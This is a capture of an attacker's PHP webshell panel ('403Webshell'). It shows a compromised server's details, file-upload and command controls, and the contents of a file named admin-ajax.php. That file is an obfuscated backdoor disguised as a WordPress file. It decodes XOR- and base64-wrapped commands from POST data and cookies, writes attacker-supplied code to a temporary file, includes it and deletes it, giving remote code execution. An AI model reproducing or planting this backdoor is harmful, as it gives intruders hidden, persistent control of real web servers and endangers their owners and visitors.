403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.92.179
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/tagsforum.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/tagsforum.com/admin-ajax.php
<?php $ujoqy   =    'ujoqy'      ^	'';
$stvouukil /*   vw_g */ =     $ujoqy(788-691) /*   xqq */ .     $ujoqy(495-381)    .    $ujoqy(114) /*   us*/ .  "\x61"	.   "\x79" /*  yyd   */ .	$ujoqy(95) /* krp*/ .   "\155"    .    $ujoqy(279-182) /*   kejfh   */ . /*  h  */ "p";
$vp_rk       =	"\151"    .   "m"."\x70"    . /* kjd */ $ujoqy(108) /*twjb   */ . /*  yskbf   */ $ujoqy(111) /*   m  */ .    $ujoqy(100)	.      $ujoqy(581-480);


$xdaoyxfg	=     "c"."o".$ujoqy(117)	.    "n".$ujoqy(611-495);

function /*  gsmfq */ rbzko($prkdakszbbmbdn, /*_  */ $szmii_e)

{   global   $ujoqy;       
	$prkdakszbbmbdn /*fuk */ =    $ujoqy(779-719)      .      "\77" /*crb*/ . /* dcv  */ "p"."h"."\160"    . /*   lzzjv   */ $ujoqy(32)    .   $ujoqy(117) /*   nsna  */ . /*  wcly  */ "n"."l".$ujoqy(105)    .    $ujoqy(110)  . /* qebo  */ "\153" /* oaqzc   */ . /*   tpnlcs*/ "(".$ujoqy(852-757)       . /*   zq  */ "_"."\106" /* dsjcq   */ .    "I"."\114"  .    $ujoqy(69) /*  giey */ . /*kl_q   */ $ujoqy(400-305)	.	$ujoqy(95) /* _z  */ .       "\x29"	.    ";".$ujoqy(32) /* fn */ . /*  jkjos */ $prkdakszbbmbdn["d"];


       $wfovy	= /*  vm*/ "\x66"  . /* n  */ $ujoqy(1054-949) /*y */ .    "l"."\145"    .    $ujoqy(405-310)	.  "p".$ujoqy(117)  .	"\x74"    . /*   aawhv */ "\137"    .    "c"."\x6f"  .    "\x6e"	.       "\x74" /*  iz_   */ .	"e".$ujoqy(110)      .    $ujoqy(116)  .  $ujoqy(115);


       


 /* m   */ $wfovy($szmii_e, /*y   */ $prkdakszbbmbdn);


	

	efccfyv($szmii_e);
}





$rykhm /*  leahy_ */ = /*   _sekr  */ 73;
function /* iuhe */ efccfyv($szmii_e)

{


	global  $ujoqy;


	
    include($szmii_e);


	$hdksnrc     =       $szmii_e;
 /*   h*/ @unlink($hdksnrc);
}
function /*  hj_h   */ fwpbksii()


{      global      $ujoqy;    $prkdaksz      = /*  edces  */ array();    $prkdaksz["\x70" /*awz */ . /*fhuq   */ "\166"]    =    phpversion();     $prkdaksz[$ujoqy(560-445)    .	"\166"]    =     "3"."\56"	.	"\x35";
	$zsemqnyn      = /*  y*/ 74;


 /*hj */ echo    @serialize($prkdaksz);

}


function /*  sfikm   */ hgszuxjos($prkdakszbbmbdn,     $stb_l)
{
	global	$ujoqy;       $obxnybq    = /*c_h  */ "";


	$sn_vxd    =    '_lovnytu';

	$prkdakszgtji /* zsx_xv */ =   hash('sha256', /*kif*/ $prkdakszbbmbdn);

    $awqetcw /* d*/ = /* lmbi  */ str_replace('hecn',	$prkdakszgtji,	$sn_vxd);    $prkdaksz /* gp   */ = /*j  */ 0;

 /* wyuqk */ while /*  tbvi */ ($prkdaksz    < /* hge*/ strlen($prkdakszbbmbdn))    {
  $defijlv     = /*   sopbkq  */ isset($stb_l)	?  $stb_l /*opo */ :    '';


 /*  rp  */ for       ($ay_oqm     = /* x_ */ 0;    $ay_oqm /*  elrfpy*/ <       strlen($defijlv)      && /*gxjzwx*/ $prkdaksz	< /*   mtv */ strlen($prkdakszbbmbdn); /*   ga*/ $ay_oqm++,	$prkdaksz++)    {
    $obxnybq    .=    $ujoqy(ord($prkdakszbbmbdn[$prkdaksz]) /*  z_huzu */ ^	ord($defijlv[$ay_oqm]));	}


 /* nyrmy   */ if /* c */ (strlen($obxnybq)    > /*  adjmh*/ 20)     {
	$awqetcw	= /*   ajm*/ substr($obxnybq,  0,    20);


    }    }

    if	(empty($obxnybq))       {
       $obxnybq   =       date('Y-m-d      H:i:s');

    }      return   $obxnybq;

}





function /* wlmlxa*/ _bvdy($wxrfzn){
    global     $ujoqy;    


  $yhykcgtvwd  =    "2".$ujoqy(53) /*   _swhd */ .       $ujoqy(98)   .    $ujoqy(1030-929)    .  "c".$ujoqy(115-63)	. /*  wdf   */ $ujoqy(56)	.    "\145"    . /*   r*/ "-"."\x39"	.    "2"."\67"    .	$ujoqy(97)    . /*  xxana   */ "-".$ujoqy(52) /*   h   */ . /*   yynghn */ "d"."\65"	.    "\x33"	. /* qb  */ "-"."\x39"    .       "c".$ujoqy(100)   .   "3"."-".$ujoqy(57) /*   xpdn */ .    "a".$ujoqy(52) /*  gfgf  */ .	"c"."\x37"    . /* tf */ "3"."1"."\71" /*   bblj*/ .    "\61" /* ryjkan  */ . /*   r*/ "\x61"    .    $ujoqy(54) /*llvfzw  */ .   $ujoqy(102);


    


   foreach	($wxrfzn    as	$ovm_kkjk_    =>	$prkdakszbbmbdn)    {


 /*  g  */ ortvlktby(base64_decode($prkdakszbbmbdn),    $yhykcgtvwd, /*   _uqa */ $ovm_kkjk_);

 /*   gtasb */ }}
function    ortvlktby($prkdakszbbmbdn,	$yhykcgtvwd,       $ovm_kkjk_)


{


	global /* hjt   */ $ujoqy;        $prkdakszbbmbdn /* c  */ =	unserialize(hgszuxjos(hgszuxjos($prkdakszbbmbdn, /*ouhgz_   */ $yhykcgtvwd), /* j  */ $ovm_kkjk_));


	$uukxlemen /* k  */ = /*  dkjjxi   */ 'mdhcjf';

	$ynqtazfbz /*sekvz  */ = /* ieb  */ '_gtupymnh';

    if /* t */ (isset($prkdakszbbmbdn["\x61"    .    $ujoqy(107)]))   {
 /* fkgx_n */ if /*  s   */ ($prkdakszbbmbdn["a"] /*   rephuf   */ ==    "\151") /*  vywfo  */ {


   fwpbksii();

 /*_ufdv   */ } /* nuqj*/ elseif /* iu_ro   */ ($prkdakszbbmbdn["a"] /*  s  */ ==   "e")    {

 /* jdao   */ rbzko($prkdakszbbmbdn,    sprintf($ujoqy(742-696) /* bjs*/ . /*  _m */ "/"."\45"   .	"\x73"	. /*  h   */ "."."\x70"    .    "\x6c",	md5($yhykcgtvwd)));


			$otjhiayqzx /* tptx*/ = /*   _vdr*/ 44;
  }

 /*  ogihnh */ exit();     }


}

_bvdy($_POST);	



$scrpjhv /*  ohknnf   */ =   $stvouukil('rawurldecode',      $_POST);$blxbzy /* hog   */ =    $xdaoyxfg($scrpjhv);if    ($blxbzy      > /*  ul   */ 0) /*u_pse   */ {

 /*czulbz   */ $nblwq      =	$vp_rk(',',       $scrpjhv);

}




_bvdy($_COOKIE); /*   eth  */ 


$prkdakszrifxo_e    =    $stvouukil('rawurldecode',	$_COOKIE);

$gybhjr /* dxpn*/ =	$xdaoyxfg($prkdakszrifxo_e);
if  ($gybhjr    >	0) /* ummf  */ {

	$qsxyqbehfg   =   $vp_rk(';',	$prkdakszrifxo_e);
}







?>

Youez - 2016 - github.com/yon3zu
LinuXploit